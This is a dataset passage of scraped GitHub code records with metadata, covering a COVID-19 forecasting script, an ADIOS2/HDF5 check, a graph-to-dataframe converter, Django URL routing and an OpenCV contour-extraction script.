[{"api_name": "stage.Stage", "line_number": 20, "usage_type": "call"}, {"api_name": "ugame.display", "line_number": 20, "usage_type": "attribute"}, {"api_name": "stage.Bank.from_bmp16", "line_number": 24, "usage_type": "call"}, {"api_name": "stage.Bank", "line_number": 24, "usage_type": "attribute"}, {"api_name": "stage.Grid", "line_number": 25, "usage_type": "call"}, {"api_name": "constants.SCREEN_GRID_X", "line_number": 25, "usage_type": "attribute"}, {"api_name": "constants.SCREEN_GRID_Y", "line_number": 25, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 42, "usage_type": "call"}, {"api_name": "stage.Bank.from_bmp16", "line_number": 47, "usage_type": "call"}, {"api_name": "stage.Bank", "line_number": 47, "usage_type": "attribute"}, {"api_name": "stage.Text", "line_number": 51, "usage_type": "call"}, {"api_name": "constants.RED_PALETTE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "stage.Text", "line_number": 56, "usage_type": "call"}, {"api_name": "constants.RED_PALETTE", "line_number": 56, "usage_type": "attribute"}, {"api_name": "stage.Text", "line_number": 61, "usage_type": "call"}, {"api_name": "constants.RED_PALETTE", "line_number": 61, "usage_type": "attribute"}, {"api_name": "stage.Text", "line_number": 66, "usage_type": "call"}, {"api_name": "constants.RED_PALETTE", "line_number": 66, "usage_type": "attribute"}, {"api_name": "stage.Text", "line_number": 71, "usage_type": "call"}, {"api_name": "constants.RED_PALETTE", "line_number": 71, "usage_type": "attribute"}, {"api_name": "stage.Text", "line_number": 76, "usage_type": "call"}, {"api_name": "constants.RED_PALETTE", "line_number": 76, "usage_type": "attribute"}, {"api_name": "stage.Grid", "line_number": 82, "usage_type": "call"}, {"api_name": "ugame.audio", "line_number": 86, "usage_type": "attribute"}, {"api_name": "stage.Stage", "line_number": 91, "usage_type": "call"}, {"api_name": "ugame.display", "line_number": 91, "usage_type": "attribute"}, {"api_name": "ugame.buttons.get_pressed", "line_number": 107, "usage_type": "call"}, {"api_name": "ugame.buttons", "line_number": 107, "usage_type": "attribute"}, {"api_name": "ugame.K_START", "line_number": 109, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 132, "usage_type": "call"}, {"api_name": "constants.SPRITE_SIZE", "line_number": 132, "usage_type": "attribute"}, {"api_name": "constants.SCREEN_X", "line_number": 132, "usage_type": "attribute"}, {"api_name": "constants.OFF_TOP_SCREEN", "line_number": 132, "usage_type": "attribute"}, {"api_name": "stage.Text", "line_number": 139, "usage_type": "call"}, {"api_name": "stage.Bank.from_bmp16", "line_number": 146, "usage_type": "call"}, {"api_name": "stage.Bank", "line_number": 146, "usage_type": "attribute"}, {"api_name": "stage.Bank.from_bmp16", "line_number": 147, "usage_type": "call"}, {"api_name": "stage.Bank", "line_number": 147, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 151, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 152, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 153, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 154, "usage_type": "attribute"}, {"api_name": "stage.Grid", "line_number": 159, "usage_type": "call"}, {"api_name": "stage.Sprite", "line_number": 162, "usage_type": "call"}, {"api_name": "stage.Sprite", "line_number": 163, "usage_type": "call"}, {"api_name": "stage.Sprite", "line_number": 164, "usage_type": "call"}, {"api_name": "stage.Sprite", "line_number": 165, "usage_type": "call"}, {"api_name": "constants.TOTAL_NUMBER_OF_ENEMYS", "line_number": 169, "usage_type": "attribute"}, {"api_name": "stage.Sprite", "line_number": 170, "usage_type": "call"}, {"api_name": "constants.OFF_SCREEN_X", "line_number": 170, "usage_type": "attribute"}, {"api_name": "constants.OFF_SCREEN_Y", "line_number": 170, "usage_type": "attribute"}, {"api_name": "ugame.audio", "line_number": 180, "usage_type": "attribute"}, {"api_name": "constants.TOTAL_NUMBER_OF_KNIFES", "line_number": 192, "usage_type": "attribute"}, {"api_name": "stage.Sprite", "line_number": 193, "usage_type": "call"}, {"api_name": "constants.OFF_SCREEN_X", "line_number": 193, "usage_type": "attribute"}, {"api_name": "constants.OFF_SCREEN_Y", "line_number": 193, "usage_type": "attribute"}, {"api_name": "stage.Stage", "line_number": 198, "usage_type": "call"}, {"api_name": "ugame.display", "line_number": 198, "usage_type": "attribute"}, {"api_name": "ugame.buttons.get_pressed", "line_number": 208, "usage_type": "call"}, {"api_name": "ugame.buttons", "line_number": 208, "usage_type": "attribute"}, {"api_name": "ugame.K_X", "line_number": 210, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 211, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 212, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 213, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 214, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 216, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 217, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 219, "usage_type": "attribute"}, {"api_name": "ugame.K_O", "line_number": 221, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 222, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 223, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 224, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 225, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 227, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 228, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 230, "usage_type": "attribute"}, {"api_name": "ugame.K_START", "line_number": 232, "usage_type": "attribute"}, {"api_name": "ugame.K_SELECT", "line_number": 234, "usage_type": "attribute"}, {"api_name": "ugame.K_RIGHT", "line_number": 236, "usage_type": "attribute"}, {"api_name": "ugame.K_LEFT", "line_number": 250, "usage_type": "attribute"}, {"api_name": "ugame.K_UP", "line_number": 265, "usage_type": "attribute"}, {"api_name": "ugame.K_DOWN", "line_number": 271, "usage_type": "attribute"}, {"api_name": "constants.button_state", "line_number": 279, "usage_type": "attribute"}, {"api_name": "constants.KNIFE_SPEED", "line_number": 289, "usage_type": "attribute"}, {"api_name": "constants.OFF_TOP_SCREEN", "line_number": 290, "usage_type": "attribute"}, {"api_name": "constants.OFF_SCREEN_X", "line_number": 291, "usage_type": "attribute"}, {"api_name": "constants.OFF_SCREEN_Y", "line_number": 291, "usage_type": "attribute"}, {"api_name": "stage.collide", "line_number": 298, "usage_type": "call"}, {"api_name": "constants.OFF_SCREEN_X", "line_number": 300, "usage_type": "attribute"}, {"api_name": "constants.OFF_SCREEN_Y", "line_number": 300, "usage_type": "attribute"}, {"api_name": "constants.OFF_SCREEN_X", "line_number": 301, "usage_type": "attribute"}, {"api_name": "constants.OFF_SCREEN_Y", "line_number": 301, "usage_type": "attribute"}, {"api_name": "constants.ENEMY_SPEED", "line_number": 318, "usage_type": "attribute"}, {"api_name": "constants.SCREEN_Y", "line_number": 320, "usage_type": "attribute"}, {"api_name": "constants.OFF_SCREEN_X", "line_number": 322, "usage_type": "attribute"}, {"api_name": "constants.OFF_SCREEN_Y", "line_number": 322, "usage_type": "attribute"}, {"api_name": "stage.collide", "line_number": 335, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 340, "usage_type": "call"}, {"api_name": "ugame.audio", "line_number": 359, "usage_type": "attribute"}, {"api_name": "stage.Bank.from_bmp16", "line_number": 363, "usage_type": "call"}, {"api_name": "stage.Bank", "line_number": 363, "usage_type": "attribute"}, {"api_name": "stage.Grid", "line_number": 366, "usage_type": "call"}, {"api_name": "constants.SCREEN_GRID_X", "line_number": 366, "usage_type": "attribute"}, {"api_name": "constants.SCREEN_GRID_Y", "line_number": 366, "usage_type": "attribute"}, {"api_name": "stage.Text", "line_number": 370, "usage_type": "call"}, {"api_name": "constants.RED_PALETTE", "line_number": 370, "usage_type": "attribute"}, {"api_name": "stage.Text", "line_number": 375, "usage_type": "call"}, {"api_name": "constants.RED_PALETTE", "line_number": 375, "usage_type": "attribute"}, {"api_name": "stage.Text", "line_number": 380, "usage_type": "call"}, {"api_name": "constants.RED_PALETTE", "line_number": 380, "usage_type": "attribute"}, {"api_name": "stage.Stage", "line_number": 386, "usage_type": "call"}, {"api_name": "ugame.display", "line_number": 386, "usage_type": "attribute"}, {"api_name": "constants.FPS", "line_number": 386, "usage_type": "attribute"}, {"api_name": "ugame.audio", "line_number": 396, "usage_type": "attribute"}, {"api_name": "ugame.buttons.get_pressed", "line_number": 402, "usage_type": "call"}, {"api_name": "ugame.buttons", "line_number": 402, "usage_type": "attribute"}, {"api_name": "ugame.K_SELECT", "line_number": 405, "usage_type": "attribute"}, {"api_name": "supervisor.reload", "line_number": 407, "usage_type": "call"}]} {"seq_id": "71049391931", "text": "# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\n\n\nimport os\n\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n\n for filename in filenames:\n\n print(os.path.join(dirname, filename))\n\n\n\n# Any results you write to the current directory are saved as output.\nfrom sklearn.metrics import classification_report,confusion_matrix,accuracy_score\n\nfrom sklearn.model_selection import train_test_split\n\nfrom xgboost import XGBRegressor\n\nfrom sklearn.preprocessing import LabelBinarizer,LabelEncoder,StandardScaler,MinMaxScaler\ntrain_df = pd.read_csv(\"../input/covid19-global-forecasting-week-3/train.csv\")\n\ntest_df = pd.read_csv(\"../input/covid19-global-forecasting-week-3/test.csv\")\n\nsubmission_df = pd.read_csv(\"../input/covid19-global-forecasting-week-3/submission.csv\")\ntrain_df['Province_State'].fillna('',inplace=True)\n\ntest_df['Province_State'].fillna('',inplace=True)\nlb = LabelEncoder()\n\ntrain_df['Country_Region'] = lb.fit_transform(train_df['Country_Region'])\n\ntest_df['Country_Region'] = lb.transform(test_df['Country_Region'])\n\n\n\nlb1 = LabelEncoder()\n\ntrain_df['Province_State'] = lb.fit_transform(train_df['Province_State'])\n\ntest_df['Province_State'] = lb.transform(test_df['Province_State'])\ndef split_date(date):\n\n date = date.split('-')\n\n date[0] = int(date[0])\n\n if(date[1][0] == '0'):\n\n date[1] = int(date[1][1])\n\n else:\n\n date[1] = int(date[1])\n\n if(date[2][0] == '0'):\n\n date[2] = int(date[2][1])\n\n else:\n\n date[2] = int(date[2]) \n\n return date\n\ntrain_df.Date = train_df.Date.apply(split_date)\n\ntest_df.Date = test_df.Date.apply(split_date)\nyear = []\n\nmonth = []\n\nday = []\n\nfor i in train_df.Date:\n\n year.append(i[0])\n\n month.append(i[1])\n\n day.append(i[2])\n\ntrain_df['Year'] = year\n\ntrain_df['Month'] = month\n\ntrain_df['Day'] = day\n\ndel train_df['Date']\nyear = []\n\nmonth = []\n\nday = []\n\nfor i in test_df.Date:\n\n year.append(i[0])\n\n month.append(i[1])\n\n day.append(i[2])\n\ntest_df['Year'] = year\n\ntest_df['Month'] = month\n\ntest_df['Day'] = day\n\ndel test_df['Date']\n\ndel train_df['Id']\n\ndel test_df['ForecastId']\n\ntrain_df['ConfirmedCases'] = train_df['ConfirmedCases'].apply(int)\n\ntrain_df['Fatalities'] = train_df['Fatalities'].apply(int)\n\n\n\ncases = train_df.ConfirmedCases\n\nfatalities = train_df.Fatalities\n\ndel train_df['ConfirmedCases']\n\ndel train_df['Fatalities']\nscaler = MinMaxScaler()\n\nx_train = scaler.fit_transform(train_df.values)\n\nx_test = scaler.transform(test_df.values)\nrf = XGBRegressor(n_estimators = 1500 , random_state = 0 , max_depth = 15)\n\nrf.fit(x_train,cases)\n\n\n\ncases_pred = rf.predict(x_test)\n\ncases_pred = np.around(cases_pred,decimals = 0)\n\ncases_pred\n\n\n\nx_train_cas = []\n\nfor i in range(len(x_train)):\n\n x = list(x_train[i])\n\n x.append(cases[i])\n\n x_train_cas.append(x)\n\n\n\nx_train_cas = np.array(x_train_cas)\nrf = XGBRegressor(n_estimators = 1500 , random_state = 0 , max_depth = 15)\n\nrf.fit(x_train_cas,fatalities)\n\n\n\nx_test_cas = []\n\nfor i in range(len(x_test)):\n\n x = list(x_test[i])\n\n x.append(cases_pred[i])\n\n x_test_cas.append(x)\n\n\n\nx_test_cas = np.array(x_test_cas)\n\n\n\nfatalities_pred = rf.predict(x_test_cas)\n\nfatalities_pred = np.around(fatalities_pred,decimals = 0)\n\nfatalities_pred\nsubmission_df['ConfirmedCases'] = cases_pred\n\nsubmission_df['Fatalities'] = fatalities_pred\nsubmission_df.to_csv(\"submission.csv\" , index = False)", "repo_name": "aorursy/new-nb-1", "sub_path": "abhishekkumkar_xgboost.py", "file_name": "abhishekkumkar_xgboost.py", "file_ext": "py", "file_size_in_byte": 3860, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.walk", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 43, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 47, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 147, "usage_type": "call"}, {"api_name": "xgboost.XGBRegressor", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 178, "usage_type": "call"}, {"api_name": "xgboost.XGBRegressor", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 203, "usage_type": "call"}]} {"seq_id": "35763035498", "text": "import adios2\nimport numpy as np\nimport h5py\n\nvarname = \"L0101\"\n\n\nadios = adios2.ADIOS()\nIO = adios.DeclareIO(\"reader\")\nIO.SetEngine(\"BP4\")\n\n#bpStream = IO.Open(\"KSTAR.bp\", adios2.Mode.Read)\nbpStream = IO.Open(\"/global/cscratch1/sd/rkube/KSTAR/kstar_streaming/KSTAR_018431.bp\", adios2.Mode.Read)\ndf_h5 = h5py.File(\"/global/cscratch1/sd/rkube/KSTAR/kstar_streaming/018431/ECEI.018431.LFS.h5\")\n\nds = 10000\nres = np.zeros(10000, dtype=np.float64)\n\n\nfor step in range(bpStream.Steps()):\n print(\"***Step: {0:d}\".format(step))\n bpStream.BeginStep()\n\n var = IO.InquireVariable(\"ECEI_{0:s}\".format(varname))\n L2408 = bpStream.Get(var, res, adios2.Mode.Sync)\n bpStream.EndStep()\n\n\n h5data = df_h5[\"/ECEI/ECEI_{0:s}/Voltage\".format(varname)][(step) * ds:(step + 1) * ds]\n #print(h5data)\n\n print(varname, \"*** BP: min = {0:6f}, max = {1:6f}, mean = {2:6f}\".format(res.min(), res.max(), res.mean()))\n print(varname, \"*** H5: min = {0:6f}, max = {1:6f}, mean = {2:6f}\".format(h5data.min(), h5data.max(), h5data.mean()))\n\n if(step > 10):\n break\n\ndf_h5.close()\n\n\n", "repo_name": "jychoi-hpc/delta", "sub_path": "verify_kstarbp.py", "file_name": "verify_kstarbp.py", "file_ext": "py", "file_size_in_byte": 1085, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "adios2.ADIOS", "line_number": 8, "usage_type": "call"}, {"api_name": "adios2.Mode", "line_number": 13, "usage_type": "attribute"}, {"api_name": "h5py.File", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 17, "usage_type": "attribute"}, {"api_name": "adios2.Mode", "line_number": 25, "usage_type": "attribute"}]} {"seq_id": "13476264518", "text": "import pandas as pd\nimport numpy as np\nimport torch as th\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport dgl\nfrom dgl import edge_subgraph\nfrom dgl.nn.functional import edge_softmax\nimport dgl.nn as dglnn\nimport dgl.function as fn\nfrom sklearn.preprocessing import LabelEncoder, label_binarize\nfrom tqdm import tqdm\n\nimport evaluation \n\n\nclass graph_2_df:\n def __init__(self,train_g,test_g,test_idx):\n \n self.train_g=train_g\n self.test_g=test_g\n self.test_idx=test_idx\n \n def df_creation(self):\n usaanr_feat=[]\n for key, scheme in self.train_g.node_attr_schemes(ntype=\"usaanr\").items():\n usaanr_feat.append(key)\n usaanr_feat=[x for x in usaanr_feat if x not in \n ['usaanr','cmpyelig','ACTCORP','Segment','train_mask','val_mask','test_mask','label','_ID']]\n \n train_idx=th.arange(self.train_g.num_nodes()).squeeze() \n test_idx=th.from_numpy(self.test_idx).squeeze()\n\n train_label=self.train_g.nodes['usaanr'].data['label'][train_idx]\n test_label=self.test_g.nodes['usaanr'].data['label'][test_idx]\n\n label_train=train_label.squeeze().numpy()\n label_test=test_label.squeeze().numpy()\n\n \n df_train=pd.DataFrame()\n for i,col in enumerate(usaanr_feat):\n ndata=self.train_g.nodes['usaanr'].data[col].squeeze().numpy()\n df_train[col]=ndata\n df_train['target_variable']=label_train\n df_train['mask']=0\n \n df_test=pd.DataFrame()\n for i,col in enumerate(usaanr_feat):\n ndata=self.test_g.nodes['usaanr'].data[col].squeeze().numpy()\n df_test[col]=ndata[self.test_idx]\n df_test['target_variable']=label_test\n df_test['mask']=1\n \n df_all=df_train.append(df_test)\n \n class_le=LabelEncoder()\n\n for i in tqdm(range(len(df_all.columns)),position=0,leave=True):\n col=df_all.columns[i]\n if col not in [\"target_variable\",\"mask\"]:\n df_all[col]=df_all[col].astype('str')\n df_all[col]=class_le.fit_transform(df_all[col])\n df_all[col]=df_all[col].astype('str')\n\n df_train=df_all[df_all[\"mask\"]==0]\n df_test=df_all[df_all[\"mask\"]==1]\n \n train_y=df_train['target_variable'].values\n num_classes=th.unique(th.from_numpy(train_y)).shape[0]\n train_classes_num, train_classes_weight = evaluation.get_class_count_weight(train_y,num_classes)\n \n test_y=df_test['target_variable'].values\n \n df_train.drop(['target_variable', 'mask'], axis=1,inplace=True)\n df_test.drop(['target_variable', 'mask'], axis=1,inplace=True)\n categorical_index=np.where(df_train.dtypes==object)[0]\n \n return df_train, df_test, train_y, test_y, categorical_index,train_classes_weight", "repo_name": "iamjiang/graph_preject", "sub_path": "inductive_learning/graph_to_dataframe.py", "file_name": "graph_to_dataframe.py", "file_ext": "py", "file_size_in_byte": 2913, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.arange", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 57, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.unique", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 70, "usage_type": "call"}, {"api_name": "evaluation.get_class_count_weight", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 77, "usage_type": "call"}]} {"seq_id": "13146045435", "text": "from django.conf import settings\nfrom django.urls import include, path\nfrom drf_spectacular.views import SpectacularAPIView, SpectacularSwaggerView\nfrom rest_framework.authtoken import views\n\nurlpatterns = [\n path(\"token/\", views.obtain_auth_token, name=\"token\"),\n path(\"\", include(\"user_register.urls\")),\n path(\"\", include(\"classroom_creation.urls\")),\n path(\"\", include(\"grade_register.urls\")),\n path(\"\", include(\"absence_register.urls\")),\n path(\"student/\", include(\"student_consulting.urls\")),\n path(\"teacher/\", include(\"teacher_consulting.urls\")),\n path(\"schema/\", SpectacularAPIView.as_view(), name=\"schema\"),\n # Optional UI:\n path(\n \"docs/\",\n SpectacularSwaggerView.as_view(url_name=\"schema\"),\n name=\"swagger-ui\",\n ),\n]\n\nif settings.DEBUG is True:\n from django.contrib.staticfiles.urls import staticfiles_urlpatterns\n\n urlpatterns += staticfiles_urlpatterns()\n", "repo_name": "xlurio/aristotle-api", "sub_path": "app/app/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 925, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "rest_framework.authtoken.views.obtain_auth_token", "line_number": 7, "usage_type": "attribute"}, {"api_name": "rest_framework.authtoken.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "drf_spectacular.views.SpectacularAPIView.as_view", "line_number": 14, "usage_type": "call"}, {"api_name": "drf_spectacular.views.SpectacularAPIView", "line_number": 14, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "drf_spectacular.views.SpectacularSwaggerView.as_view", "line_number": 18, "usage_type": "call"}, {"api_name": "drf_spectacular.views.SpectacularSwaggerView", "line_number": 18, "usage_type": "name"}, {"api_name": "django.conf.settings.DEBUG", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 23, "usage_type": "name"}, {"api_name": "django.contrib.staticfiles.urls.staticfiles_urlpatterns", "line_number": 26, "usage_type": "call"}]} {"seq_id": "43793288192", "text": "import cv2\r\nimport numpy as np\r\n\r\ndef contour_filter(contour, len_threshold=200):\r\n invalid_cam = 0\r\n for i in range(len(contour) - invalid_cam):\r\n dist = len(contour[i - invalid_cam])\r\n # dist = np.sum(np.abs(contour[i - invalid_cam][1:, 0, :] - contour[i - invalid_cam][:-1, 0, :]))\r\n end_dist = np.sum(np.abs(contour[i - invalid_cam][0, 0, :] - contour[i - invalid_cam][-1, 0, :]))\r\n # area = cv2.contourArea(contour[i - invalid_cam])\r\n if (dist < len_threshold and 8 * end_dist < dist) or (dist < len_threshold / 4):\r\n contour = contour[:(i - invalid_cam)] + contour[(i - invalid_cam) + 1:]\r\n invalid_cam += 1\r\n if i - invalid_cam == len(contour) - 2:\r\n break\r\n return contour\r\n\r\n\r\ndef patch_image(image, mode=cv2.MORPH_OPEN, size=3, iter=1):\r\n kernel = np.ones((size, size), dtype=np.uint8)\r\n image = cv2.morphologyEx(image, mode, kernel, iter)\r\n return image\r\n\r\n\r\ndef fill_hole(img, hole_color=0, bkg_color=255, size_threshold=200, size_lim=False):\r\n\r\n # 复制 im_in 图像\r\n img_floodfill = img.copy()\r\n\r\n # Mask 用于 floodFill，官方要求长宽+2\r\n h, w = img.shape[:2]\r\n mask = np.zeros((h + 2, w + 2), np.uint8)\r\n\r\n # floodFill函数中的seedPoint对应像素必须是背景\r\n isbreak = False\r\n seedPoint = (1, 1)\r\n for i in range(img_floodfill.shape[0]):\r\n for j in range(img_floodfill.shape[1]):\r\n if (img_floodfill[i][j] == hole_color):\r\n seedPoint = (i, j)\r\n isbreak = True\r\n break\r\n if (isbreak):\r\n break\r\n\r\n # 得到im_floodfill 255填充非孔洞值\r\n cv2.floodFill(img_floodfill, mask, seedPoint, bkg_color)\r\n\r\n # 得到im_floodfill的逆im_floodfill_inv\r\n im_floodfill_inv = cv2.bitwise_not(img_floodfill)\r\n\r\n if size_lim:\r\n im_floodfill_inv_copy = im_floodfill_inv.copy()\r\n\r\n # 函数findContours获取轮廓\r\n contours, hierarchy = cv2.findContours(im_floodfill_inv_copy, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_NONE)\r\n\r\n for num in range(len(contours)):\r\n if (cv2.contourArea(contours[num]) >= size_threshold and hierarchy[0, num, 2] == -1):\r\n cv2.fillConvexPoly(im_floodfill_inv, contours[num], hole_color)\r\n\r\n # 把im_in、im_floodfill_inv这两幅图像结合起来得到前景\r\n return img | im_floodfill_inv\r\n\r\ndef black_region_removal(img, pix_rows_bound):\r\n output = np.zeros((img.shape[0], img.shape[1]), np.uint8)\r\n output[pix_rows_bound:, :] = img[pix_rows_bound:, :]\r\n return output\r\n\r\n# def highlight_removal(img):\r\n# _, mask = cv2.threshold(img, int(0.8*img.max()+0.2*img.min()), 255, cv2.THRESH_BINARY)\r\n# rep = cv2.resize(img, None, fx=0.8, fy=0.8, interpolation=cv2.INTER_CUBIC)\r\n# mask = cv2.resize(mask, None, fx=0.8, fy=0.8, interpolation=cv2.INTER_CUBIC)\r\n# dst = cv2.illuminationChange(rep, mask, alpha=1, beta=1)\r\n# return dst\r\n\r\ndata_path = \"/home/isee/software/catkin_ws/src/Fisheye-LiDAR-Fusion/data_process/data/huiyuan2/\"\r\ndir_cam = data_path + \"outputs/flatImage.bmp\"\r\ndir_lidar = data_path + \"outputs/byIntensity/flatLidarImage.bmp\"\r\nimage_cam = cv2.imread(dir_cam)\r\nimage_lidar = cv2.imread(dir_lidar)\r\n\r\nimage_cam = cv2.cvtColor(image_cam, cv2.COLOR_BGR2GRAY)\r\nimage_lidar = cv2.cvtColor(image_lidar, cv2.COLOR_BGR2GRAY)\r\nimage_cam = cv2.GaussianBlur(image_cam, sigmaX=1, sigmaY=1, ksize=(5, 5))\r\nimage_lidar = cv2.fastNlMeansDenoising(image_lidar, h=40, searchWindowSize=21, templateWindowSize=7)\r\ncv2.imwrite(data_path + \"edges/cannyOutputs/cam_1_filtered.png\", image_cam)\r\ncv2.imwrite(data_path + \"edges/cannyOutputs/lid_1_filtered.png\", image_lidar)\r\n\r\nedge_cam = cv2.Canny(image=image_cam, threshold1=5, threshold2=50)\r\nedge_lidar = cv2.Canny(image=image_lidar, threshold1=5, threshold2=50)\r\n\r\n# remove the black region\r\npix_rows_bound = 435\r\nedge_cam = black_region_removal(edge_cam, pix_rows_bound)\r\ncv2.imwrite(data_path + \"edges/cannyOutputs/lid_2_canny_original.png\", edge_lidar)\r\ncv2.imwrite(data_path + \"edges/cannyOutputs/cam_2_canny_original.png\", edge_cam)\r\n\r\n# edge_cam = patch_image(image=edge_cam, mode=cv2.MORPH_CLOSE, size=7, iter=2)\r\n# edge_lidar = patch_image(image=edge_lidar, mode=cv2.MORPH_CLOSE, size=3, iter=2)\r\n\r\n# 这个是填充区域的\r\n# edge_cam = fill_hole(img=edge_cam, hole_color=0, bkg_color=255)\r\n# edge_lidar = fill_hole(img=edge_lidar, hole_color=0, bkg_color=255)\r\n\r\n# cv2.imwrite(data_path + \"edges/cannyOutputs/lidar_3_canny_patch.png\", edge_lidar)\r\n# cv2.imwrite(data_path + \"edges/cannyOutputs/cam_3_canny_patch.png\", edge_cam)\r\n\r\ncnt_cam, hierarchy_cam = cv2.findContours(edge_cam, cv2.RETR_LIST, cv2.CHAIN_APPROX_NONE)\r\ncnt_lidar, hierarchy_lidar = cv2.findContours(edge_lidar, cv2.RETR_LIST, cv2.CHAIN_APPROX_NONE)\r\n\r\ncnt_cam = contour_filter(contour=cnt_cam, len_threshold=200)\r\ncnt_lidar = contour_filter(contour=cnt_lidar, len_threshold=100)\r\n\r\nimage_cam = np.zeros(image_cam.shape, np.uint8)\r\nimage_lidar = np.zeros(image_lidar.shape, np.uint8)\r\n\r\ncv2.drawContours(image_cam, cnt_cam, -1, 255, 1)\r\ncv2.drawContours(image_lidar, cnt_lidar, -1, 255, 1)\r\n\r\ncv2.imwrite(data_path + \"edges/cannyOutputs/lid_4_contour.png\", image_lidar)\r\ncv2.imwrite(data_path + \"edges/cannyOutputs/cam_4_contour.png\", image_cam)\r\n\r\n# image_lidar = cv2.imread(dir_root + \"lidar_test_2.png\", cv2.IMREAD_GRAYSCALE)\r\n# image_lidar = np.vstack((np.zeros((300, image_lidar.shape[1])).astype(np.uint8), image_lidar))\r\n# kp_lidar = cv2.xfeatures2d.SIFT_create().detect(image_lidar)\r\n# img_lidar_sift = cv2.drawKeypoints(image_lidar, kp_lidar, image_lidar, color=[0,255,255])\r\n# cv2.imwrite(dir_root + \"lidar_5_sift.png\", img_lidar_sift)\r\n#\r\n# sift_cam = cv2.xfeatures2d.SIFT_create()\r\n# kp_cam = sift_cam.detect(image_cam, None)\r\n# img_cam_sift = cv2.drawKeypoints(image_cam, kp_cam, image_cam, color=[0,0,255])\r\n# cv2.imwrite(dir_root + \"cam_5_edge_sift.png\", img_cam_sift)", "repo_name": "mfkiwl/Livox_Fisheye_Fusion", "sub_path": "python_scripts/hog_filter/cv_canny_contours.py", "file_name": "cv_canny_contours.py", "file_ext": "py", "file_size_in_byte": 5955, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", 